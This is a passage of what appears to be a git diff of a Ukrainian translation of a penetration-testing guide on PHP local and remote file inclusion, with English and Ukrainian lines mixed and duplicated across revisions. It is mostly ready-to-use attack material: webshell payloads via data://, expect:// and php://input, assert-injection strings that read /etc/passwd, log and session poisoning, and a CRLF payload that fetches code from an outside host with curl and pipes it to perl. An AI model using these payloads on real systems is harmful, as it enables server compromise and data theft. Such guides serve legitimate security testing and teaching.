наступну (тобто після застосування кодека: a -> b). Це дозволяє визначити, чи перша літера, наприклад, `a`, бо якщо застосувати цей кодек 6 разів: a->b->c->d->e->f->g, літера перестане бути hex-символом, отже dechunk її не видаляє і виникає помилка php через множення з початковою бомбою. -- Використовуючи інші трансформації, такі як **rot13** на початку, можливо leak інші символи, наприклад n, o, p, q, r (і інші кодеки можна використати, щоб зсунути інші літери в hex-діапазон). +- Використовуйте кодек **`UCS-4LE`**, щоб розмістити ведучий символ тексту на початку і змусити розмір рядка зростати експоненційно. +- Це використовується для створення **тексту настільки великого, коли початкова літера вгадана правильно**, що php спровокує **помилку**. +- Фільтр **dechunk** **видалить все, якщо перший символ не є шістнадцятковим**, тож ми можемо дізнатися, чи перший символ є hex. +- Це, у поєднанні з попереднім (та іншими фільтрами залежно від вгаданої літери), дозволить вгадувати літеру на початку тексту, спостерігаючи, коли після достатньої кількості перетворень вона перестане бути шістнадцятковим символом. Адже якщо вона є hex, dechunk її не видалить і початкова «бомба» спричинить помилку php. +- Кодек **convert.iconv.UNICODE.CP930** перетворює кожну літеру на наступну (наприклад a -> b). Це дозволяє визначити, чи перша літера — `a`: якщо застосувати цей кодек 6 разів (a->b->c->d->e->f->g), літера перестане бути шістнадцятковим символом, тому dechunk її не видалить і помилка php буде викликана через множення з початковою «бомбою». +- Використовуючи інші перетворення, такі як **rot13**, на початку, можливо leak інших символів, наприклад n, o, p, q, r (інші кодеки можуть бути використані, щоб перемістити інші літери в hex-діапазон). - Коли початковий символ — число, потрібно закодувати його в base64 і leak перші 2 літери, щоб leak число. -- Остаточна проблема — зрозуміти **як leak більше, ніж початкова літера**. Використовуючи фільтри, що змінюють порядок байтів, наприклад **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можна змінити порядок символів і помістити в першу позицію інші літери тексту. -- І щоб мати змогу отримати **further data** ідея полягає в тому, щоб **generate 2 bytes of junk data at the beginning** за допомогою **convert.iconv.UTF16.UTF16**, застосувати **UCS-4LE** щоб воно **pivot with the next 2 bytes**, та d**elete the data until the junk data** (це видалить перші 2 байти початкового тексту). Продовжуйте робити це, доки не досягнете бажаного біта для leak. +- Остаточна проблема — зрозуміти **як leak більше, ніж початкова літера**. Використовуючи фільтри, що змінюють порядок байтів, такі як **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можна змінити порядок символів і отримати в першій позиції інші літери тексту. +- І щоб мати змогу отримувати **further data** ідея полягає в **generate 2 bytes of junk data at the beginning** за допомогою **convert.iconv.UTF16.UTF16**, застосувати **UCS-4LE**, щоб **pivot with the next 2 bytes**, і **видалити дані до junk data** (це видалить перші 2 байти початкового тексту). Продовжуйте робити це, поки не досягнете потрібного біта для leak. У дописі також було опубліковано інструмент для автоматизації: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). @@ -298,12 +298,12 @@ This wrapper allows to access file descriptors that the process has open. Potent echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -You can also use **php://stdin, php://stdout and php://stderr** to access the **file descriptors 0, 1 and 2** respectively (не зовсім зрозуміло, як це може бути корисно в атаці) +Ви також можете використовувати **php://stdin, php://stdout and php://stderr** для доступу до **file descriptors 0, 1 and 2** відповідно (не впевнений, як це може бути корисним у атаці) ### zip:// and rar:// -Завантажте Zip або Rar файл з PHPShell всередині і отримайте до нього доступ.\ -Щоб мати змогу зловживати rar protocol, його **потрібно спеціально активувати** +Завантажте Zip або Rar файл з PHPShell всередині та отримайте до нього доступ.\ +Щоб мати можливість зловживати протоколом rar, його **потрібно спеціально активувати**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` -Зверніть увагу, що цей протокол обмежений конфігураціями php **`allow_url_open`** і **`allow_url_include`** +Зауважте, що цей протокол обмежується конфігураціями php **`allow_url_open`** та **`allow_url_include`** ### expect:// -Expect має бути активовано. Ви можете виконати код за допомогою цього: +Expect має бути активований. Ви можете виконати код за допомогою цього: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### input:// -Вкажіть ваш payload у параметрах POST: +Вкажіть свій payload у POST-параметрах: ```bash curl -XPOST "http://example.com/index.php?page=php://input" --data "" ``` ### phar:// -Файл `.phar` може бути використаний для виконання PHP-коду, коли веб-застосунок використовує функції, такі як `include`, для завантаження файлів. Наведений нижче фрагмент PHP-коду демонструє створення файлу `.phar`: +Файл `.phar` може використовуватися для виконання PHP-коду, коли веб-додаток застосовує функції, такі як `include`, для завантаження файлів. Наведений нижче фрагмент PHP-коду демонструє створення файлу `.phar`: ```php addFromString('test.txt', 'text'); $phar->setStub(''); $phar->stopBuffering(); ``` -Щоб скомпілювати файл `.phar`, потрібно виконати таку команду: +Щоб скомпілювати файл `.phar`, слід виконати наступну команду: ```bash php --define phar.readonly=0 create_path.php ``` Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities. -Після виконання буде створено файл з ім'ям `test.phar`, який потенційно може бути використаний для експлуатації Local File Inclusion (LFI) вразливостей. - -In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol. - -У випадках, коли LFI лише читає файл без виконання PHP-коду всередині, через такі функції, як `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` або `filesize()`, можна спробувати експлуатувати вразливість десеріалізації. Ця вразливість пов'язана з читанням файлів через протокол `phar`. +У випадку, якщо LFI лише читає файл без виконання PHP-коду всередині, через функції такі як `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, або `filesize()`, можна спробувати експлуатувати вразливість десеріалізації. Ця вразливість пов’язана з читанням файлів за допомогою протоколу `phar`. For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below: -Для детального розуміння експлуатації вразливостей десеріалізації у контексті `.phar` файлів, зверніться до документу, наведеного нижче: - [Phar Deserialization Exploitation Guide](phar-deserialization.md) @@ -380,96 +374,73 @@ phar-deserialization.md ### CVE-2024-2961 It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ -Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\ -It was possible to alloc chunks of specific sizes abusing more php filters. - -Було можливо зловживати **any arbitrary file read from PHP that supports php filters**, щоб отримати RCE. Детальний опис можна [**знайти в цьому дописі**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ -Короткий підсумок: **3 byte overflow** в PHP heap був використаний, щоб **змінити ланцюг вільних чанків** певного розміру з метою мати змогу **записати будь-що за будь-якою адресою**, тому додали хук для виклику **`system`**.\ -Було можливо алокувати чанки певних розмірів, зловживаючи додатковими php filters. +Дуже короткий підсумок: **3 byte overflow** в купі PHP було використано для **зміни ланцюжка вільних чанків** конкретного розміру, щоб мати змогу **записати будь-що в будь-яку адресу**, тому був доданий хук, який викликає **`system`**.\ +Було можливо алокувати чанки конкретних розмірів, зловживаючи додатковими php filters. ### More protocols -Інші протоколи +Перевірте більше можливих [ **протоколів для включення тут**](https://www.php.net/manual/en/wrappers.php)**:** -Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** - -Перегляньте більше можливих [ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** - -- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack) -- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem -- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs -- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs -- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams -- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here) -- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 -- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files) - -- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Запис у пам'ять або у тимчасовий файл (не впевнений, як це може бути корисно в a file inclusion attack) +- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Запис у пам’ять або у тимчасовий файл (не впевнений, як це може бути корисним у file inclusion attack) - [file://](https://www.php.net/manual/en/wrappers.file.php) — Доступ до локальної файлової системи -- [http://](https://www.php.net/manual/en/wrappers.http.php) — Доступ до HTTP(s) URL-ів -- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Доступ до FTP(s) URL-ів +- [http://](https://www.php.net/manual/en/wrappers.http.php) — Доступ до HTTP(s) URL +- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Доступ до FTP(s) URL - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Потоки стиснення -- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Знаходить імена шляхів, що відповідають шаблону (Він не повертає нічого придатного для виводу, тому тут не дуже корисний) +- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Пошук імен шляхів, що відповідають шаблону (не повертає нічого придатного для виводу, тож не надто корисний тут) - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 -- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Аудіопотоки (не корисно для читання довільних файлів) +- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Аудіопотоки (не корисний для читання довільних файлів) ## LFI via PHP's 'assert' -## LFI через PHP 'assert' - -Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized. - -Ризики Local File Inclusion (LFI) у PHP особливо високі при роботі з функцією 'assert', яка може виконувати код у рядках. Це особливо проблематично, якщо введення, що містить символи directory traversal, такі як "..", перевіряється, але не належним чином санітизоване. +Ризики LFI в PHP особливо високі при роботі з функцією 'assert', яка може виконувати код в межах рядків. Це особливо проблематично, якщо ввод, що містить символи для directory traversal, такі як "..", перевіряється, але не очищується належним чином. For example, PHP code might be designed to prevent directory traversal like so: - -Наприклад, PHP-код може бути спроектований, щоб запобігти directory traversal таким чином: ```bash assert("strpos('$file', '..') === false") or die(""); ``` -Хоча це має на меті зупинити traversal, воно ненавмисно створює вектор для code injection. Щоб використати це для читання вмісту файлу, зловмисник може використати: +Хоча це спрямовано на зупинення traversal, воно ненавмисно створює вектор для code injection. Щоб експлуатувати це для читання вмісту файлу, нападник може використати: ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` -Аналогічно, для виконання довільних системних команд можна використовувати: +Аналогічно, для виконання довільних системних команд можна використати: ```plaintext ' and die(system("id")) or ' ``` -Важливо **URL-encode these payloads**. +It's important to **URL-encode these payloads**. ## PHP Blind Path Traversal > [!WARNING] -> Ця техніка застосовна у випадках, коли ви **контролюєте** **file path** для **PHP function**, яка буде **access a file**, але ви не побачите вміст файлу (наприклад простий виклик **`file()`**), хоча вміст не показується. +> Ця техніка актуальна в випадках, коли ви **контролюєте** **file path** для **PHP function**, яка **access a file**, але ви не бачитимете вміст файлу (наприклад простий виклик **`file()`**) — і вміст не показується. -У [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) пояснюється, як blind path traversal може бути зловживано через PHP filter щоб **exfiltrate the content of a file via an error oracle**. +In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**. -У короткому підсумку, техніка використовує кодування **"UCS-4LE"** щоб зробити вміст файлу настільки **великим**, що **PHP function**, яка відкриває файл, викличе **помилку**. +У підсумку, техніка використовує кодування **"UCS-4LE"** щоб зробити вміст файлу таким **великим**, що **PHP function**, яка відкриває файл, викличе **error**. -Потім, щоб leak перший символ, використовується фільтр `dechunk` разом з іншими, такими як `base64` або `rot13`, і нарешті фільтри `convert.iconv.UCS-4.UCS-4LE` та `convert.iconv.UTF16.UTF-16BE` використовуються, щоб розмістити інші символи на початку та leak їх. +Далі, щоб leak перший символ, фільтр **`dechunk`** використовується разом з іншими (наприклад **base64** або **rot13**), а в кінці фільтри **convert.iconv.UCS-4.UCS-4LE** та **convert.iconv.UTF16.UTF-16BE** застосовуються, щоб **place other chars at the beggining and leak them**. -**Функції, які можуть бути вразливими**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` +**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` -Для технічних деталей див. згадану публікацію! +For the technical details check the mentioned post! ## LFI2RCE ### Arbitrary File Write via Path Traversal (Webshell RCE) -Коли серверний код, який приймає/завантажує файли, будує шлях призначення, використовуючи дані під контролем користувача (наприклад, filename або URL) без канонізації та валідації, сегменти `..` та абсолютні шляхи можуть вийти за межі планованого каталогу і спричинити arbitrary file write. Якщо ви можете розмістити payload під web-exposed директорією, зазвичай ви отримуєте unauthenticated RCE, завантаживши webshell. +Коли серверний код, який приймає/завантажує файли, будує destination path з використанням даних, контрольованих користувачем (наприклад filename або URL), без нормалізації та валідації, сегменти `..` та absolute paths можуть вийти за межі призначеної директорії й спричинити arbitrary file write. Якщо ви можете помістити payload у веб-доступну директорію, зазвичай ви отримуєте unauthenticated RCE, скинувши webshell. Типовий робочий процес експлуатації: -- Виявити write primitive в endpoint або background worker, який приймає path/filename і пише вміст на диск (наприклад, message-driven ingestion, XML/JSON command handlers, ZIP extractors тощо). -- Визначити web-exposed directories. Типові приклади: +- Знайти write primitive в endpoint або background worker, який приймає path/filename і записує контент на диск (наприклад message-driven ingestion, XML/JSON command handlers, ZIP extractors тощо). +- Визначити веб-доступні директорії. Поширені приклади: - Apache/PHP: `/var/www/html/` - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- Скласти traversal path, який вийде з наміреного storage directory в webroot, і включити в нього вміст webshell. -- Відкрити завантажений payload у браузері та виконувати команди. +- Зконструювати traversal path, який виходить із призначеної директорії зберігання в webroot, і включити в нього ваш webshell content. +- Перейти до скинутого payload і виконати команди. -Примітки: -- Вразлива служба, що виконує запис, може слухати на non-HTTP port (наприклад, JMF XML listener на TCP 4004). Головний веб-портал (інакший порт) пізніше віддаватиме ваш payload. -- На Java стеку ці записи файлів часто реалізовані простим конкатенуванням `File`/`Paths`. Відсутність canonicalisation/allow-listing — основний недолік. +Notes: +- Уразливий сервіс, який виконує запис, може слухати на non-HTTP порту (наприклад JMF XML listener on TCP 4004). Головний веб-портал (інший порт) пізніше віддаватиме ваш payload. +- На Java-стеках ці записи файлів часто реалізовані простим конкатенуванням `File`/`Paths`. Відсутність нормалізації/allow-listing — основний недолік. Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): ```xml @@ -495,25 +466,25 @@ in.transferTo(out);
``` -Захист, що усуває цей клас вразливостей: -- Вирішувати до канонічного шляху і гарантувати, що він є нащадком базового каталогу зі списку дозволених. -- Відхиляти будь-який шлях, що містить `..`, абсолютні корені або літери дисків; віддавати перевагу згенерованим іменам файлів. -- Запускати writer від імені облікового запису з низькими правами й відокремити каталоги для запису від коренів, що обслуговуються. +Заходи жорсткого захисту, що усувають цей клас вразливостей: +- Нормалізуйте шлях до канонічної форми і переконайтеся, що він є нащадком дозволеної базової директорії. +- Відкидайте будь-який шлях, що містить `..`, абсолютні корені або літери дисків; віддавайте перевагу згенерованим іменам файлів. +- Запускайте процес запису від імені облікового запису з низькими правами та розділяйте директорії для запису від коренів, які обслуговуються. ## Remote File Inclusion -Пояснювалося раніше, [**follow this link**](#remote-file-inclusion). +Explained previously, [**follow this link**](#remote-file-inclusion). ### Via Apache/Nginx log file -Якщо сервер Apache або Nginx є **вразливим до LFI** всередині функції include, ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, помістити в **user agent** або в **GET parameter** php shell на кшталт **``** і включити цей файл +Якщо сервер Apache або Nginx є **вразливим до LFI** у функції include, можна спробувати отримати доступ до **`/var/log/apache2/access.log` або `/var/log/nginx/access.log`**, помістити у **user agent** або в **GET параметр** php-shell на кшталт **``** і підключити цей файл > [!WARNING] -> Зауважте, що **якщо ви використовуєте подвійні лапки** для shell замість **одинарних лапок**, подвійні лапки будуть змінені на рядок "_**quote;**_", **PHP викине помилку** і **нічого іншого виконано не буде**. +> Зауважте, що **якщо ви використовуєте подвійні лапки** для шеллу замість **одинарних лапок**, подвійні лапки будуть змінені для рядка "_**quote;**_", **PHP кине помилку** і **нічого іншого не буде виконано**. > -> Також переконайтеся, що ви **правильно записали payload**, інакше PHP буде видавати помилку щоразу при спробі завантажити файл логів, і у вас не буде другої можливості. +> Також переконайтеся, що ви **правильно записали payload**, інакше PHP буде видавати помилку щоразу при спробі завантажити лог-файл і у вас не буде другої можливості. -Це також можна зробити в інших логах, але **будь обережні,** код всередині логів може бути URL encoded і це може зруйнувати Shell. Заголовок **authorisation "basic"** містить "user:password" у Base64 і він декодується в логах. PHPShell можна вставити в цей заголовок.\ +Це також можна зробити в інших логах, але **обережно,** код у логах може бути URL-кодований і це може зруйнувати Shell. Заголовок **authorisation "basic"** містить "user:password" у Base64 і декодується у логах. PHPShell можна вставити всередину цього заголовку.\ Інші можливі шляхи логів: ```python /var/log/apache2/access.log @@ -528,39 +499,39 @@ in.transferTo(out); ``` Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) -### Через Email +### Через електронну пошту -**Надішліть лист** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад ``, і спробуйте включити пошту користувача, використовуючи шлях на кшталт **`/var/mail/`** або **`/var/spool/mail/`** +**Відправте лист** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад ``, і спробуйте зробити include пошти користувача за шляхом, наприклад **`/var/mail/`** або **`/var/spool/mail/`** ### Через /proc/\*/fd/\* 1. Завантажте велику кількість shells (наприклад: 100) -2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID = PID процесу (можна brute forced) і $FD — файловий дескриптор (також можна brute forced) +2. Зробіть include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID = PID процесу (можна brute force), а $FD — file descriptor (також можна brute force) ### Через /proc/self/environ -Як у лог-файлі, відправте payload у User-Agent — він буде відображений у файлі /proc/self/environ +Як із лог-файлом, відправте payload у User-Agent — він відобразиться в файлі /proc/self/environ ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` -### Через завантаження +### Via upload -Якщо ви можете завантажити файл, просто інжектуйте shell payload у нього (наприклад: ``). +Якщо ви можете upload файл, просто inject shell payload у нього (наприклад: ``). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` -Щоб файл залишався читабельним, найкраще вставляти цю інформацію в метадані pictures/doc/pdf +Щоб файл залишався читабельним, найкраще інжектувати у метадані pictures/doc/pdf ### Через завантаження ZIP файлу -Завантажте ZIP-файл, що містить стиснений PHP shell, і отримайте доступ: +Завантажте ZIP файл, що містить стиснутий PHP shell, і отримайте доступ: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` ### Через PHP sessions -Перевірте, чи вебсайт використовує PHP Session (PHPSESSID) +Перевірте, чи сайт використовує PHP Session (PHPSESSID) ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly @@ -570,11 +541,11 @@ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` -Встановіть cookie у `` +Встановіть cookie на `` ``` login=1&user=&pass=password&lang=en_us.php ``` -Використайте LFI для включення файлу сесії PHP. +Використайте LFI, щоб включити файл сесії PHP ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` @@ -582,114 +553,114 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s Якщо ssh активний, перевірте, який користувач використовується (/proc/self/status & /etc/passwd) і спробуйте отримати доступ до **\/.ssh/id_rsa** -### **Через** **vsftpd** _**журнали**_ +### **Через** **vsftpd** _**логи**_ -Журнали FTP-сервера vsftpd розташовані в _**/var/log/vsftpd.log**_. У випадку, якщо існує Local File Inclusion (LFI) вразливість і можливий доступ до відкритого vsftpd-сервера, можна розглянути такі кроки: +Логи FTP-сервера vsftpd знаходяться за адресою _**/var/log/vsftpd.log**_. У випадку, якщо існує Local File Inclusion (LFI) уразливість і є доступ до відкритого vsftpd сервера, можна розглянути такі кроки: 1. Інжектуйте PHP payload у поле username під час процесу входу. -2. Після інжекції використайте LFI, щоб витягти журнали сервера з _**/var/log/vsftpd.log**_. +2. Після інжекції скористайтеся LFI, щоб отримати логи сервера з _**/var/log/vsftpd.log**_. ### Через php base64 filter (using base64) -Як показано в [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter просто ігнорує символи, що не належать до base64. Ви можете скористатися цим, щоб обійти перевірку розширення файлу: якщо ви подасте base64, який закінчується на ".php", фільтр просто проігнорує "." і додасть "php" до base64. Ось приклад payload: +Як показано в [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) статті, PHP base64 filter ігнорує символи, що не є base64. Ви можете використати це, щоб обійти перевірку розширення файлу: якщо ви подасте base64, що закінчується на ".php", фільтр просто ігноруватиме "." і додасть "php" до base64. Ось приклад payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` -### Via php filters (no file needed) +### Через php filters (файл не потрібен) -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php filters to generate arbitrary content** як вихід. Це, по суті, означає, що ви можете **generate arbitrary php code** для include **without needing to write** його у файл. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php filters** для генерації довільного вмісту як вивід. Це, по суті, означає, що ви можете **згенерувати довільний PHP-код** для include **без необхідності записувати** його у файл. {{#ref}} lfi2rce-via-php-filters.md {{#endref}} -### Via segmentation fault +### Через segmentation fault -**Upload** файл, який буде збережений як **temporary** у `/tmp`, потім в **same request,** спричиніть **segmentation fault**, і тоді **temporary file won't be deleted**, і ви зможете його знайти. +Завантажте файл, який буде збережено тимчасово в `/tmp`, потім у **тому ж запиті** викличте **segmentation fault**, після чого тимчасовий файл не буде видалено і ви зможете його знайти. {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} -### Via Nginx temp file storage +### Через тимчасове збереження файлів Nginx -Якщо ви знайшли **Local File Inclusion** і **Nginx** працює перед PHP, можливо, ви зможете отримати RCE за допомогою наступної техніки: +Якщо ви виявили **Local File Inclusion** і **Nginx** працює перед PHP, ви можете отримати RCE за допомогою наступної техніки: {{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}} -### Via PHP_SESSION_UPLOAD_PROGRESS +### Через PHP_SESSION_UPLOAD_PROGRESS -Якщо ви знайшли **Local File Inclusion**, навіть якщо у вас **don't have a session** і `session.auto_start` встановлено `Off`. Якщо ви надасте **`PHP_SESSION_UPLOAD_PROGRESS`** у **multipart POST** даних, PHP **enable the session for you**. Ви можете зловживати цим, щоб отримати RCE: +Якщо ви знайшли **Local File Inclusion**, навіть якщо у вас **немає сесії** і `session.auto_start` встановлено в `Off`. Якщо ви вкажете **`PHP_SESSION_UPLOAD_PROGRESS`** у даних **multipart POST**, PHP **увімкне сесію за вас**. Це можна використати для отримання RCE: {{#ref}} via-php_session_upload_progress.md {{#endref}} -### Via temp file uploads in Windows +### Через тимчасові завантаження файлів у Windows -Якщо ви знайшли **Local File Inclusion** і сервер працює на **Windows**, ви можете отримати RCE: +Якщо ви знайшли **Local File Inclusion** і сервер працює на **Windows**, можливо ви отримаєте RCE: {{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}} -### Via `pearcmd.php` + URL args +### Через `pearcmd.php` + URL args -As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` присутній за замовчуванням у php docker images. Більш того, можливо передавати аргументи скрипту через URL, оскільки зазначено, що якщо URL-параметр не має `=`, він має використовуватися як аргумент. Див. також [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) і [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). +As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` присутній за замовчуванням у php docker images. Більш того, аргументи можна передавати скрипту через URL, оскільки вказано, що якщо параметр URL не має `=`, він має використовуватися як аргумент. Див. також [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) та [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). -Наступний запит створює файл у `/tmp/hello.php` з вмістом ``: +The following request create a file in `/tmp/hello.php` with the content ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -Наведено приклад зловживання CRLF vuln для отримання RCE (з [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +Наведене експлуатує CRLF vuln для отримання RCE (з [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -### Via phpinfo() (file_uploads = on) +### Через phpinfo() (file_uploads = on) -Якщо ви знайшли **Local File Inclusion** і файл, що показує **phpinfo()** з file_uploads = on, ви можете отримати RCE: +Якщо ви знайшли **Local File Inclusion** і файл, що викликає **phpinfo()** з file_uploads = on, ви можете отримати RCE: {{#ref}} lfi2rce-via-phpinfo.md {{#endref}} -### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure +### Через compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -Якщо ви знайшли **Local File Inclusion** і ви можете вивести шлях тимчасового файлу, АЛЕ **сервер** **перевіряє**, чи **файл для включення має PHP мітки**, ви можете спробувати **обійти цю перевірку** за допомогою цієї **Race Condition**: +Якщо ви знайшли **Local File Inclusion** і ви **can exfiltrate the path** тимчасового файлу, АЛЕ **server** **checking**, чи **file to be included has PHP marks**, ви можете спробувати **bypass that check** за допомогою цієї **Race Condition**: {{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}} -### Via eternal waiting + bruteforce +### Через eternal waiting + bruteforce -Якщо ви можете зловживати LFI, щоб **завантажувати тимчасові файли** і змусити сервер **зависнути** виконання PHP, ви можете потім **перебиратиміть імена файлів методом bruteforce протягом годин**, щоб знайти тимчасовий файл: +Якщо ви можете зловживати LFI, щоб **upload temporary files** і змусити **server** **hang** виконання PHP, ви тоді можете **brute force filenames during hours**, щоб знайти тимчасовий файл: {{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}} -### To Fatal Error +### До Fatal Error -Якщо ви включите будь-який із файлів `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Потрібно включити той самий файл двічі, щоб викликати цю помилку). +Якщо ви включите будь-який з файлів `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Потрібно включити той самий 